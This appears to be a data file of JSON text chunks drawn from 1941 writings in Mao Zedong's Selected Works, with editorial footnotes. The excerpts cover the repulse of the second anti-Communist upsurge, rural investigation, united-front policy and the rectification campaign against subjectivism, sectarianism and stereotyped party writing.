（二）这次斗争表现了国民党地位的降低和共产党地位的提高，形成了国共力量对比发生某种变化的关键。这种情况迫使蒋介石重新考虑他自己的地位和态度。他现在强调国防，宣传党派观念已陈旧，乃是企图以“民族领袖”的资格，站在国内各种矛盾之上，表面上表示并不偏于一个阶级一个党，以便维持大地主大资产阶级和国民党的统治。但是如果只是形式上的欺骗而无政策上的改变，他的这一企图必然徒劳无功。 （三）我党在这次反共高潮开始时采取顾全大局委曲求全的退让政策（去年十一月九日的电报），取得了广大人民的同情，在皖南事变后转入猛烈的反攻（两个十二条 〔6〕 ，拒绝出席参政会和全国的抗议运动），也为全国人民所赞助。我们这种有理、有利、有节的政策，对于打退这次反共高潮，是完全必要的，且已收得成效。在国共间各项主要争点未得合理解决之前，我们对国民党内亲日派反共派所造成的皖南事变和各种政治的军事的压迫，仍应继续严正的抗议运动，扩大第一个十二条的宣传，不要松懈。 （四）国民党在其统治区域内对我党和进步派的压迫政策和反共宣传，决不会放松，我党必须提高警惕性。国民党对淮北、皖东、鄂中的进攻还会继续，我军必须坚决地将它打退。各根据地必须坚决地执行中央去年十二月二十五日的指示 〔7〕 ，加强党内的策略教育，纠正过左思想，以便长期地不动摇地坚持各抗日民主根据地。在全国和各根据地上，要反对对时局认为国共已最后破裂或很快就要破裂的错误估计以及由此发生的许多不正确的意见。 注 释 * 这是毛泽东为中共中央起草的对党内的指示。 〔1〕 参见本书第三卷《评国民党十一中全会和三届二次国民参政会》中关于这次反共高潮的叙述。 〔2〕 即一九四一年一月十七日蒋介石以国民政府军事委员会名义发布的解散新四军的反革命命令。 〔3〕 一九四一年三月六日，蒋介石在国民参政会上发表反共演说，大弹“政令”、“军令”必须“统一”的滥调，声称敌后的抗日民主政权不容许存在，中国共产党所领导的人民武装必须依照他的“命令与计划，集中于指定区域”，等等。同日，在国民党反动派操纵之下的国民参政会通过了一个决议，为蒋介石反共反人民的罪行辩护，对共产党参政员因抗议皖南事变拒不出席参政会一事，大肆攻击。 〔4〕 见本卷《战争和战略问题》注〔16〕。 〔5〕 参见本卷《上海太原失陷以后抗日战争的形势和任务》注〔17〕。 〔6〕 第一个“十二条”，即本卷《为皖南事变发表的命令和谈话》的《谈话》部分中提出的十二条，在一九四一年二月十五日又用中国共产党参政员名义向国民参政会提出。第二个“十二条”，是一九四一年三月二日，作为共产党的部分参政员出席国民参政会的条件，向国民党政府提出的临时办法。内容如下：“一、立即停止全国向共产党的军事进攻；二、立即停止全国的政治压迫，承认中共及各民主党派的合法地位，释放西安、重庆、贵阳及各地的被捕人员；三、启封各地被封书店，解除扣寄各地抗战书报的命令；四、立即停止对《新华日报》的一切压迫；五、承认陕甘宁边区的合法地位；六、承认敌后的抗日民主政权；七、华中、华北及西北的防地均维持现状；八、中共领导的军队，于十八集团军之外，再成立一个集团军，应共辖六个军；九、释放皖南所有被捕干部，拨款抚恤死难者的家属；十、释放皖南所有被捕兵员，发还所有枪枝；十一、成立各党派联合委员会，每个党派派遣代表一人，以国民党的代表为主席，中共代表副之；十二、中共代表加入国民参政会主席团。” 〔7〕 见本卷《论政策》。"},
    {"text": "关于打退第二次反共高潮的总结 关于打退第二次反共高潮的总结 * （一九四一年五月八日） 这一次的反共高潮，正如三月十八日中央的指示所说，是已经过去了。"},
    {"text": "在这个新环境中所增加的因素是：帝国主义战争的扩大，国际革命运动的高涨，苏日的中立条约 〔1〕 ，国民党第二次反共高潮的被击退以及由此产生的国民党政治地位的降低和共产党政治地位的提高，再加上最近日本准备新的对华大举进攻。"},
    {"text": "为了团结全国人民坚持抗日，并继续有效地克服大地主大资产阶级的投降危险和反共逆流起见，研究和学习我党在英勇地胜利地反对这次反共高潮的斗争中所获得的教训，是完全必要的。"},
    {"text": "只要中日矛盾继续尖锐地存在，即使大地主大资产阶级全部地叛变投降，也决不能造成一九二七年的形势，重演四一二事变 〔2〕 和马日事变 〔3〕 。"},
    {"text": "上次反共高潮 〔4〕 曾被一部分同志估计为马日事变，这次反共高潮又被估计为四一二事变和马日事变，但是客观事实却证明了这种估计是不正确的。"},
    {"text": "（二）在这种情况之下，指导着国民党政府全部政策的英美派大地主大资产阶级，依然是两面性的阶级，它一面和日本对立，一面又和共产党及其所代表的广大人民对立。 而它的抗日和反共，又各有其两面性。 在抗日方面，既和日本对立，又不积极地作战，不积极地反汪反汉奸，有时还向日本的和平使者勾勾搭搭。 在反共方面，既要反共，甚至反到皖南事变和一月十七日的命令 〔5〕 那种地步，又不愿意最后破裂，依然是一打一拉的政策。"},
    {"text": "英美派的大地主大资产阶级既然还在抗日，其对我党既然还在一打一拉，则我党的方针便是“即以其人之道，还治其人之身” 〔6〕 ，以打对打，以拉对拉，这就是革命的两面政策。"},
    {"text": "以蒋介石为代表的大地主大资产阶级对于人民革命力量的仇恨和残忍，不但为过去十年的反共战争所证明，更由抗日战争中的两次反共高潮特别是第二次反共高潮中的皖南事变所完全地证明了。"},
    {"text": "（四）在反对国民党顽固派的斗争中，将买办性的大资产阶级和没有或较少买办性的民族资产阶级加以区别，将最反动的大地主和开明绅士及一般地主加以区别，这是我党争取中间派和实行“三三制”政权的理论根据，这是去年三月以来中央就屡次指出了的。"},
    {"text": "因为如果不经过反复多次的经验，中间派对于我党为什么必须向国民党顽固派进行坚决的斗争，为什么只能以斗争求团结，放弃斗争则没有任何的团结，就不能了解。"},
    {"text": "地方实力派的领导成分虽然也是大地主大资产阶级，但是因为他们和统制中央政权的大地主大资产阶级分子有矛盾，故一般地亦须以中间派看待之。"},
    {"text": "我们同志中却有许多人至今还把各派地主阶级各派资产阶级混为一谈，似乎在皖南事变之后整个的地主阶级资产阶级都叛变了，这是把复杂的中国政治简单化。"},
    {"text": "这些同志在皖南事变后，从其“四一二”和马日事变的估计出发，似乎感觉去年十二月二十五日的中央的原则指示 〔10〕 ，已不适用，或不大适用了。"},
    {"text": "他们至今还不明白：我党在整个抗日时期，对于国内各上层中层还在抗日的人们，不管是大地主大资产阶级和中间阶级，都只有一个完整的包括联合和斗争两方面的（两面性的）民族统一战线的政策。"},
    {"text": "我党对党内对人民所施行的教育，也是包括这两方面性质的教育，就是教导无产阶级、农民阶级和其他小资产阶级如何和资产阶级地主阶级的各个不同的阶层在各种不同的形式上联合抗日，又和他们的各种不同程度的妥协性、动摇性、反共性作各种不同程度的斗争。"},
    {"text": "现在各根据地的政治，是一切赞成抗日和民主的人民的统一战线的政治，其经济是基本上排除了半殖民地因素和半封建因素的经济，其文化是人民大众反帝反封建的文化。 因此，无论就政治、经济或文化来看，只实行减租减息的各抗日根据地，和实行了彻底的土地革命的陕甘宁边区，同样是新民主主义的社会。"},
    {"text": "〔8〕 《佳电》是中共中央以第十八集团军总司令朱德、副总司令彭德怀和新四军军长叶挺、副军长项英的名义，于一九四〇年十一月九日答复何应钦、白崇禧《皓电》的电报。"},
    {"text": "〔9〕 毛泽东这个说法，是指领导革命的中国工业无产阶级和反动的中国大地主大资产阶级在中国社会总人口中都只占少数，农民、城市小资产阶级和其他中间阶级在中国社会总人口中占了绝大多数。"},
    {"text": "《农村调查》的序言和跋 《农村调查》的序言和跋 （一九四一年三月、四月） 序 （一九四一年三月十七日） 现在党的农村政策，不是十年内战时期那样的土地革命政策，而是抗日民族统一战线的政策。"},
    {"text": "对于担负指导工作的人来说，有计划地抓住几个城市、几个乡村，用马克思主义的基本观点，即阶级分析的方法，作几次周密的调查，乃是了解情况的最基本的方法。"},
    {"text": "这些干部、农民、秀才、狱吏、商人和钱粮师爷，就是我的可敬爱的先生，我给他们当学生是必须恭谨勤劳和采取同志态度的，否则他们就不理我，知而不言，言而不尽。"},
    {"text": "一般地说，中国幼稚的资产阶级还没有来得及也永远不可能替我们预备关于社会情况的较完备的甚至起码的材料，如同欧美日本的资产阶级那样，所以我们自己非做搜集材料的工作不可。"},
    {"text": "“没有调查就没有发言权” 〔3〕 ，这句话，虽然曾经被人讥为“狭隘经验论”的，我却至今不悔； 不但不悔，我仍然坚持没有调查是不可能有发言权的。"},
    {"text": "斯大林的话说得对：“理论若不和革命实践联系起来，就会变成无对象的理论。 ”当然又是他的话对：“实践若不以革命理论为指南，就会变成盲目的实践。"},
    {"text": "我现在还痛感有周密研究中国事情和国际事情的必要，这是和我自己对于中国事情和国际事情依然还只是一知半解这种事实相关联的，并非说我是什么都懂得了，只是人家不懂得。"},
    {"text": "就是在十年内战的后期，对于向我们举行武装进攻的反动的政府和政党，和对于在我们政权管辖下一切带资本主义性的社会阶层，没有采取不同的政策，对于反动的政府和政党中各个不同的派别间，也没有采取不同的政策，这些也都是不正确的。"},
    {"text": "在土地政策方面，对于十年内战前期和中期 〔5〕 所采取的、也分配给地主一份和农民同样的土地、使他们从事耕种、以免流离失所或上山为匪破坏社会秩序，这样的正确的政策，加以否定，也是错误的。"},
    {"text": "现在，党的政策必须与此不同，不是“一切斗争，否认联合”，也不是“一切联合，否认斗争”（如同一九二七年的陈独秀主义 〔6〕 那样），而是联合一切反对日本帝国主义的社会阶层，同他们建立统一战线，但对他们中间存在着的投降敌人和反共反人民的动摇性反动性方面，又应按其不同程度，同他们作各种不同形式的斗争。"},
    {"text": "在政治权利方面，是一切抗日的地主资本家都有和工人农民一样的人身权利、政治权利和财产权利，但又防止他们可能的反革命行动的两重性的政策。"},
    {"text": "国营经济和合作社经济是应该发展的，但在目前的农村根据地内，主要的经济成分，还不是国营的，而是私营的，而是让自由资本主义经济得着发展的机会，用以反对日本帝国主义和半封建制度。"},
    {"text": "严肃地坚决地保持共产党员的共产主义的纯洁性，和保护社会经济中的有益的资本主义成分，并使其有一个适当的发展，是我们在抗日和建设民主共和国时期不可缺一的任务。"},
    {"text": "中国共产党是在复杂的环境中工作，每个党员，特别是干部，必须锻炼自己成为懂得马克思主义策略的战士，片面地简单地看问题，是无法使革命胜利的。"},
    {"text": "〔2〕 一九三七年十二月，中共中央政治局会议通过关于召集党的第七次全国代表大会的决议。 一九三八年九月至十一月召开的中共六届六中全会批准了这项决议，并决定了七大的议事日程。"},
    {"text": "中期是指一九二九年初至一九三一年秋的时期，即自中央革命根据地的创立至第三次反“围剿”战争胜利结束的时期。 上文所说的十年内战后期，是指一九三一年底至一九三四年底的时期，即自第三次反“围剿”战争胜利结束后至中共中央在贵州遵义举行政治局扩大会议的时期。"},
    {"text": "其理由如次： 一 中共产党的二十年，就是马克思列宁主义的普遍真理和中国革命的具体实践日益结合的二十年。 如果我们回想一下，我党在幼年时期，我们对于马克思列宁主义的认识和对于中国革命的认识是何等肤浅，何等贫乏，则现在我们对于这些的认识是深刻得多，丰富得多了。"},
    {"text": "但是直到第一次世界大战和俄国十月革命之后，才找到马克思列宁主义这个最好的真理，作为解放我们民族的最好的武器，而中国共产党则是拿起这个武器的倡导者、宣传者和组织者。"},
    {"text": "抗日战争以来，我党根据马克思列宁主义的普遍真理研究抗日战争的具体实践，研究今天的中国和世界，是进一步了，研究中国历史也有某些开始。"},
    {"text": "据我看来，如果不纠正这类缺点，就无法使我们的工作更进一步，就无法使我们在将马克思列宁主义的普遍真理和中国革命的具体实践互相结合的伟大事业中更进一步。"},
    {"text": "像我党这样一个大政党，虽则对于国内和国际的现状的研究有了某些成绩，但是对于国内和国际的各方面，对于国内和国际的政治、军事、经济、文化的任何一方面，我们所收集的材料还是零碎的，我们的研究工作还是没有系统的。 二十年来，一般地说，我们并没有对于上述各方面作过系统的周密的收集材料加以研究的工作，缺乏调查研究客观实际状况的浓厚空气。"},
    {"text": "“闭塞眼睛捉麻雀”，“瞎子摸鱼”，粗枝大叶，夸夸其谈，满足于一知半解，这种极坏的作风，这种完全违反马克思列宁主义基本精神的作风，还在我党许多同志中继续存在着。"},
    {"text": "只会片面地引用马克思、恩格斯、列宁、斯大林的个别词句，而不会运用他们的立场、观点和方法，来具体地研究中国的现状和中国的历史，具体地分析中国革命问题和解决中国革命问题。"},
    {"text": "对于国内外、省内外、县内外、区内外的具体情况，不愿作系统的周密的调查和研究，仅仅根据一知半解，根据“想当然”，就在那里发号施令，这种主观主义的作风，不是还在许多同志中间存在着吗？"},
    {"text": "这就是说，他们违背了马克思、恩格斯、列宁、斯大林所谆谆告诫人们的一条基本原则：理论和实际统一。 他们既然违背了这条原则，于是就自己造出了一条相反的原则：理论和实际分离。"},
    {"text": "在学校的教育中，在在职干部的教育中，教哲学的不引导学生研究中国革命的逻辑，教经济学的不引导学生研究中国经济的特点，教政治学的不引导学生研究中国革命的策略，教军事学的不引导学生研究适合中国特点的战略和战术，诸如此类。"},
    {"text": "这样一来，就在许多学生中造成了一种反常的心理，对中国问题反而无兴趣，对党的指示反而不重视，他们一心向往的，就是从先生那里学来的据说是万古不变的教条。"},
    {"text": "不是为了要解决中国革命的理论问题、策略问题而到马克思、恩格斯、列宁、斯大林那里找立场，找观点，找方法，而是为了单纯地学理论而去学理论。"},
    {"text": "总之，这种反科学的反马克思列宁主义的主观主义的方法，是共产党的大敌，是工人阶级的大敌，是人民的大敌，是民族的大敌，是党性不纯的一种表现。"},
    {"text": "在这种态度下，就是要有目的地去研究马克思列宁主义的理论，要使马克思列宁主义的理论和中国革命的实际运动结合起来，是为着解决中国革命的理论问题和策略问题而去从它找立场，找观点，找方法的。"},
    {"text": "我们要从国内外、省内外、县内外、区内外的实际情况出发，从其中引出其固有的而不是臆造的规律性，即找出周围事变的内部联系，作为我们行动的向导。 而要这样做，就须不凭主观想象，不凭一时的热情，不凭死的书本，而凭客观存在的事实，详细地占有材料，在马克思列宁主义一般原理的指导下，从这些材料中引出正确的结论。"},
    {"text": "这种态度，有实事求是之意，无哗众取宠之心。 这种态度，就是党性的表现，就是理论和实际统一的马克思列宁主义的作风。 这是一个共产党员起码应该具备的态度。"},
    {"text": "依据马克思列宁主义的理论和方法，对敌友我三方的经济、财政、政治、军事、文化、党务各方面的动态进行详细的调查和研究的工作，然后引出应有的和必要的结论。"},
    {"text": "就要使同志们懂得，共产党领导机关的基本任务，就在于了解情况和掌握政策两件大事，前一件事就是所谓认识世界，后一件事就是所谓改造世界。"},
    {"text": "（三）对于在职干部的教育和干部学校的教育，应确立以研究中国革命实际问题为中心，以马克思列宁主义基本原则为指导的方针，废除静止地孤立地研究马克思列宁主义的方法。"},
    {"text": "研究马克思列宁主义，又应以《苏联共产党（布）历史简要读本》为中心的材料。 《苏联共产党（布）历史简要读本》是一百年来全世界共产主义运动的最高的综合和总结，是理论和实际结合的典型，在全世界还只有这一个完全的典型。"},
    {"text": "我们看列宁、斯大林他们是如何把马克思主义的普遍真理和苏联革命的具体实践互相结合又从而发展马克思主义的，就可以知道我们在中国是应该如何地工作了。"},
    {"text": "在这些文章里，毛泽东进一步地从思想问题上总结了过去中国共产党内路线的分歧，分析了广泛存在于党内的非马克思列宁主义思想作风，主要是主观主义的倾向，宗派主义的倾向，和作为这两种倾向的表现形式的党八股。"},
    {"text": "毛泽东号召开展全党范围的马克思列宁主义的教育运动，即按照马克思列宁主义的思想原则整顿作风的运动。 毛泽东的这个号召，很快地在中国共产党内和党外引起了怎样以从实际出发的观点而不是以教条主义的观点来对待马克思列宁主义原理，怎样使马克思列宁主义的基本原理和中国革命的实际相结合，以及怎样对待一九三一年初至一九三四年底这段时期党内两条路线的斗争这样一些重大问题的大讨论，巩固了马克思列宁主义思想在党内外的阵地，使广大干部在思想上大大地提高了一步，使中国共产党达到了空前的团结。"},
    {"text": "”（《马克思恩格斯全集》第23卷，人民出版社1972年版，第23页） 〔4〕 参见斯大林《论列宁主义基础》第九部分《工作作风》（《斯大林选集》上卷，人民出版社1979年版，第272—275页）。"},
    {"text": "揭破远东慕尼黑的阴谋 揭破远东慕尼黑的阴谋 * （一九四一年五月二十五日） （一）日美妥协，牺牲中国，造成反共、反苏局面的东方慕尼黑的新阴谋，正在日美蒋之间酝酿着。我们必须揭穿它，反对它。 （二）日本帝国主义以迫蒋投降为目的的军事进攻，现已告一段落，继之而来的必然是诱降活动。这是敌人一打一拉、又打又拉的老政策的重演。我们必须揭穿它，反对它。 （三）日本和军事进攻同时发动了谣言攻势，例如所谓“八路军不愿和国民党中央军配合作战”，“八路军乘机扩大地盘”，“打通国际路线”，“另立中央政府”等等。这是日本挑拨国共关系以利诱降的诡计。国民党中央社和国民党报纸照抄散布，不惜和日本的反共宣传互相呼应，其用意所在，甚为可疑。我们也应揭穿它，反对它。 （四）新四军虽被宣布为“叛变”，八路军虽没有领到一颗弹一文饷，然无一刻不与敌军搏斗。此次晋南战役 〔1〕 ，八路军复自动配合国民党军队作战，两周以来在华北各线作全面出击，至今犹在酣战中。共产党领导的武力和民众已成了抗日战争中的中流砥柱。一切对于共产党的污蔑，其目的都在使抗战失败，以利投降。我们应发扬八路军新四军的战绩，反对一切失败主义者和投降主义者。 注 释 * 这是毛泽东为中共中央写的对党内的指示。 〔1〕 晋南战役，即中条山战役。一九四一年五月，日本侵略军以约十万人的兵力进犯黄河以北位于晋南、豫北的中条山地区。集结在这个地区的国民党军队约十五六万人。这些国民党军队，本来以反共为主要任务，对日军缺乏作战准备，在日军进犯时，大部分采取避战方针。因此，虽然华北各地的八路军主动出击，截断了同蒲路、正太路、平汉路、白晋路等日军的交通线，给国民党军队以积极配合，国民党军仍然全部溃败，在三周之内损失兵力约七万余人，丧失了中条山及附近地区的大片国土。 关于反法西斯的国际统一战线 关于反法西斯的国际统一战线 * （一九四一年六月二十三日） 德国法西斯统治者已于六月二十二日进攻苏联。此种背信弃义的侵略罪行，不仅是反对苏联的，而且也是反对一切民族的自由和独立的。苏联抵抗法西斯侵略的神圣战争，不仅是保卫苏联的，而且也是保卫正在进行反对法西斯奴役的解放斗争的一切民族的。 目前共产党人在全世界的任务是动员各国人民组织国际统一战线，为着反对法西斯而斗争，为着保卫苏联、保卫中国、保卫一切民族的自由和独立而斗争。在目前时期，一切力量须集中于反对法西斯奴役。 中国共产党在全中国的任务是： （一）坚持抗日民族统一战线，坚持国共合作，驱逐日本帝国主义出中国，即用此以援助苏联。 （二）对于大资产阶级中的反动分子的任何反苏反共的活动，必须坚决反抗。 （三）在外交上，同英美及其他国家一切反对德意日法西斯统治者的人们联合起来，反对共同的敌人。 注 释 * 这是毛泽东为中共中央写的对党内的指示。"},
    {"text": "在陕甘宁边区参议会的演说 在陕甘宁边区参议会的演说 （一九四一年十一月六日） 各位参议员先生，各位同志：今天边区参议会开幕，是有重大意义的。"},
    {"text": "中国共产党的主张就是要团结全国一切抗日力量打倒日本帝国主义，要和全国一切抗日的党派、阶级、民族合作，只要不是汉奸，都要联合一致，共同奋斗。"},
    {"text": "全国人民都要有人身自由的权利，参与政治的权利和保护财产的权利。 全国人民都要有说话的机会，都要有衣穿，有饭吃，有事做，有书读，总之是要各得其所。"},
    {"text": "任何政党的政策如果不顾到这些阶级的利益，如果这些阶级的人们不得其所，如果这些阶级的人们没有说话的权利，要想把国事弄好是不可能的。"},
    {"text": "中国共产党提出的各项政策，都是为着团结一切抗日的人民，顾及一切抗日的阶级，而特别是顾及农民、城市小资产阶级以及其他中间阶级的。 共产党提出的使各界人民都有说话机会、都有事做、都有饭吃的政策，是真正的革命三民主义的政策。"},
    {"text": "《陕甘宁边区施政纲领》上有一条，规定共产党员应当同党外人士实行民主合作，不得一意孤行，把持包办，就是针对着这一部分还不明白党的政策的同志而说的。"},
    {"text": "除了勾结日寇汉奸以及破坏抗战和团结的反动的顽固派，这些人当然没有说话的资格以外，其他任何人，都有说话的自由，即使说错了也是不要紧的。"},
    {"text": "为什么要有革命党？ 因为世界上有压迫人民的敌人存在，人民要推翻敌人的压迫，所以要有革命党。 就资本主义和帝国主义时代说来，就需要一个如共产党这样的革命党。 如果没有共产党这样的革命党，人民要想推翻敌人的压迫，简直是不可能的。"},
    {"text": "这就是说，我们的学风还有些不正的地方，我们的党风还有些不正的地方，我们的文风也有些不正的地方。 所谓学风有些不正，就是说有主观主义的毛病。 所谓党风有些不正，就是说有宗派主义的毛病。 所谓文风有些不正，就是说有党八股 〔1〕 的毛病。"},
    {"text": "主观主义、宗派主义、党八股，这三股歪风，有它们的历史根源，现在虽然不是占全党统治地位的东西，但是它们还在经常作怪，还在袭击我们，因此，有加以抵制之必要，有加以研究分析说明之必要。"},
    {"text": "反对主观主义以整顿学风，反对宗派主义以整顿党风，反对党八股以整顿文风，这就是我们的任务。 我们要完成打倒敌人的任务，必须完成这个整顿党内作风的任务。"},
    {"text": "只要我们党的作风完全正派了，全国人民就会跟我们学。 党外有这种不良风气的人，只要他们是善良的，就会跟我们学，改正他们的错误，这样就会影响全民族。"},
    {"text": "我们要的是马克思列宁主义的学风。 所谓学风，不但是学校的学风，而且是全党的学风。 学风问题是领导机关、全体干部、全体党员的思想方法问题，是我们对待马克思列宁主义的态度问题，是全党同志的工作态度问题。 既然是这样，学风问题就是一个非常重要的问题，就是第一个重要的问题。"},
    {"text": "但是按照中国革命运动的丰富内容来说，理论战线就非常之不相称，二者比较起来，理论方面就显得非常之落后。 一般地说来，我们的理论还不能够和革命实践相平行，更不去说理论应该跑到实践的前面去。 我们还没有把丰富的实际提高到应有的理论程度。 我们还没有对革命实践的一切问题，或重大问题，加以考察，使之上升到理论的阶段。"},
    {"text": "特别是在经济理论方面，中国资本主义的发展，从鸦片战争到现在，已经一百年了，但是还没有产生一本合乎中国经济发展的实际的、真正科学的理论书。"},
    {"text": "我们如果仅仅读了他们的著作，但是没有进一步地根据他们的理论来研究中国的历史实际和革命实际，没有企图在理论上来思考中国的革命实践，我们就不能妄称为马克思主义的理论家。 如果我们身为中国共产党员，却对于中国问题熟视无睹，只能记诵马克思主义书本上的个别的结论和个别的原理，那末，我们在理论战线上的成绩就未免太坏了。 如果一个人只知背诵马克思主义的经济学或哲学，从第一章到第十章都背得烂熟了，但是完全不能应用，这样是不是就算得一个马克思主义的理论家呢？"},
    {"text": "我们所要的理论家是什么样的人呢？ 是要这样的理论家，他们能够依据马克思列宁主义的立场、观点和方法，正确地解释历史中和革命中所发生的实际问题，能够在中国的经济、政治、军事、文化种种问题上给予科学的解释，给予理论的说明。 我们要的是这样的理论家。 假如要作这样的理论家，那就要能够真正领会马克思列宁主义的实质，真正领会马克思列宁主义的立场、观点和方法，真正领会列宁斯大林关于殖民地革命和中国革命的学说，并且应用了它去深刻地、科学地分析中国的实际问题，找出它的发展规律，这样才是我们真正需要的理论家。 现在我们党的中央做了决定 〔2〕 ，号召我们的同志学会应用马克思列宁主义的立场、观点和方法，认真地研究中国的历史，研究中国的经济、政治、军事和文化，对每一问题要根据详细的材料加以具体的分析，然后引出理论性的结论来。"},
    {"text": "现在我们的党校也要定这个规矩，看一个学生学了马克思列宁主义以后怎样看中国问题，有看得清楚的，有看不清楚的，有会看的，有不会看的，这样来分优劣，分好坏。"},
    {"text": "党中央在两年多以前作过一个关于知识分子问题的决定 〔3〕 ，要争取广大的知识分子，只要他们是革命的，愿意参加抗日的，一概采取欢迎态度。"},
    {"text": "他们接受这种知识是完全必要的，但是必须知道，就一定的情况说来，这种知识对于他们还是片面性的，这种知识是人家证明了，而在他们则还没有证明的。"},
    {"text": "我们党内需要许多同志学做这样的工作。 我们党内现在有大批的同志，可以学习从事于这样的理论研究工作，他们大都是聪明有为的人，我们要看重他们。"},
    {"text": "这样看来，有两种不完全的知识，一种是现成书本上的知识，一种是偏于感性和局部的知识，这二者都有片面性。 只有使二者互相结合，才会产生好的比较完全的知识。"},
    {"text": "我幼年没有进过马克思列宁主义的学校，学的是“子曰学而时习之，不亦说乎” 〔5〕 一套，这种学习的内容虽然陈旧了，但是对我也有好处，因为我识字便是从这里学来的。"},
    {"text": "有书本知识的人向实际方面发展，然后才可以不停止在书本上，才可以不犯教条主义的错误。 有工作经验的人，要向理论方面学习，要认真读书，然后才可以使经验带上条理性、综合性，上升成为理论，然后才可以不把局部经验误认为即是普遍真理，才可不犯经验主义的错误。"},
    {"text": "教条主义、经验主义，两者都是主观主义，是从不同的两极发生的东西。 所以，我们党内的主观主义有两种：一种是教条主义，一种是经验主义。"},
    {"text": "我们如果把教条主义克服了，就可以使有书本知识的干部，愿意和有经验的干部相结合，愿意从事实际事物的研究，可以产生许多理论和经验结合的良好的工作者，可以产生一些真正的理论家。 我们如果把教条主义克服了，就可以使有经验的同志得着良好的先生，使他们的经验上升成为理论，而避免经验主义的错误。"},
    {"text": "中国共产党人只有在他们善于应用马克思列宁主义的立场、观点和方法，善于应用列宁斯大林关于中国革命的学说，进一步地从中国的历史实际和革命实际的认真研究中，在各方面作出合乎中国需要的理论性的创造，才叫做理论和实际相联系。"},
    {"text": "但是宗派主义的残余是还存在的，有对党内的宗派主义残余，也有对党外的宗派主义残余。 对内的宗派主义倾向产生排内性，妨碍党内的统一和团结； 对外的宗派主义倾向产生排外性，妨碍党团结全国人民的事业。"},
    {"text": "一部分同志，只看见局部利益，不看见全体利益，他们总是不适当地特别强调他们自己所管的局部工作，总希望使全体利益去服从他们的局部利益。"},
    {"text": "我们一定要建设一个集中的统一的党，一切无原则的派别斗争，都要清除干净。 要使我们全党的步调整齐一致，为一个共同目标而奋斗，我们一定要反对个人主义和宗派主义。 外来干部和本地干部必须团结，必须反对宗派主义倾向。"},
    {"text": "因为许多抗日根据地是八路军新四军到后才创立的，许多地方工作是外来干部去后才发展的，外来干部和本地干部的关系，必须加以很好的注意。 我们的同志必须懂得，在这种条件下，只有外来干部和本地干部完全团结一致，只有本地干部大批地生长了，并提拔起来了，根据地才能巩固，我党在根据地内才能生根，否则是不可能的。 外来干部和本地干部各有长处，也各有短处，必须互相取长补短，才能有进步。 外来干部比较本地干部，对于熟悉情况和联系群众这些方面，总要差些。"},
    {"text": "不但如此，即在一个根据地内部，因为根据地内的各个区域有发展先后之不同，干部中也有外来本地之别。 比较先进区域的干部到比较落后的区域去，对于当地，也是一种外来干部，也要十分注意扶助本地干部的问题。 就一般情形说来，凡属外来干部负领导责任的地方，如果和本地干部的关系弄得不好，那末，这个责任主要地应该放在外来干部的身上。"},
    {"text": "现在各地对这个问题的注意还很不够，有些人轻视本地干部，讥笑本地干部，他们说：“本地人懂得什么，土包子！ ”这种人完全不懂得本地干部的重要性，他们既不了解本地干部的长处，也不了解自己的短处，采取了不正确的宗派主义的态度。"},
    {"text": "自然，本地干部也必须学习外来干部的长处，必须去掉那些不适当的狭隘的观点，以求和外来干部完全不分彼此，打成一片，而避免宗派主义倾向。"},
    {"text": "在军队干部事实上居于领导地位的地方，在一般的情形之下，如果和地方干部的关系弄不好，那末，主要的责任应该放在军队干部的身上。 必须使军队干部首先懂得自己的责任，以谦虚的态度对待地方干部，才能使根据地的战争工作和建设工作得到顺利进行的条件。"},
    {"text": "谁要是对别人的困难不管，别人要调他所属的干部不给，或以坏的送人，“以邻为壑”，全不为别部、别地、别人想一想，这样的人就叫做本位主义者，这就是完全失掉了共产主义的精神。 不顾大局，对别部、别地、别人漠不关心，就是这种本位主义者的特点。"},
    {"text": "斯大林同志在联共十八次代表大会上的报告中说：“老干部通常总是不多，比所需要的数量少，而且由于宇宙自然法则的关系，他们已部分地开始衰老死亡下去。"},
    {"text": "不错，新干部是有缺点的，他们参加革命还不久，还缺乏经验，他们中的有些人还不免带来旧社会不良思想的尾巴，这就是小资产阶级个人主义思想的残余。"},
    {"text": "他们的长处，正如斯大林说过的，是对于新鲜事物有锐敏的感觉，因而有高度的热情和积极性，而在这一点上，有些老干部则正是缺乏的 〔8〕 。"},
    {"text": "以上所讲的局部和全体的关系，个人和党的关系，外来干部和本地干部的关系，军队干部和地方干部的关系，军队和军队、地方和地方、这一工作部门和那一工作部门之间的关系，老干部和新干部的关系，都是党内的相互关系。"},
    {"text": "我们如果不要主观主义，要发展马克思列宁主义实事求是的精神，就必须扫除党内宗派主义的残余，以党的利益高于个人和局部的利益为出发点，使党达到完全团结统一的地步。"},
    {"text": "首先要使我们的干部真正懂得这个问题的严重性，使他们懂得共产党员如果不同党外干部、党外人员互相联合，敌人就一定不能打倒，革命的目的就一定不能达到。"},
    {"text": "有些同志听凭别人宣传主观主义，也安之若素。 这些同志自以为相信马克思主义，但是，他们却不努力宣传唯物主义，听了或看了主观主义的东西也不想一想，也不发议论。"},
    {"text": "所以我们要在党内发动一个启蒙运动，使我们同志的精神从主观主义、教条主义的蒙蔽中间解放出来，号召同志们对于主观主义、宗派主义、党八股加以抵制。"},
    {"text": "共产党员对任何事情都要问一个为什么，都要经过自己头脑的周密思考，想一想它是否合乎实际，是否真有道理，绝对不应盲从，绝对不应提倡奴隶主义。"},
    {"text": "任何犯错误的人，只要他不讳疾忌医，不固执错误，以至于达到不可救药的地步，而是老老实实，真正愿意医治，愿意改正，我们就要欢迎他，把他的毛病治好，使他变为一个好同志。"},
    {"text": "党八股是指在革命队伍中某些人在写文章、发表演说或者做其他宣传工作的时候，对事物不加分析，只是搬用一些革命的名词和术语，言之无物，空话连篇，也和上述的八股文一样。"},
    {"text": "这个决定要求全党采取具体措施，收集国内外政治、军事、经济、文化及社会阶级关系各方面的材料，加强对于历史，对于环境，对于国内外、省内外、县内外具体情况的调查研究，并将这种调查研究、了解情况的工作，同学习马克思列宁主义理论密切联系起来。"},
    {"text": "”（《斯大林选集》下卷，人民出版社1979年版，第460页） 〔8〕 参见斯大林《在党的第十八次代表大会上关于联共（布）中央工作的总结报告》第三部分第二节（《斯大林选集》下卷，人民出版社1979年版，第460页）。"},
    {"text": "〔9〕 抵制日货是中国人民在二十世纪上半叶所常常采取的反抗日本帝国主义侵略的一种斗争方法。 例如，在一九一九年五四爱国运动时期，一九三一年九一八事变之后，中国人民都曾经进行过抵制日货的运动。"},
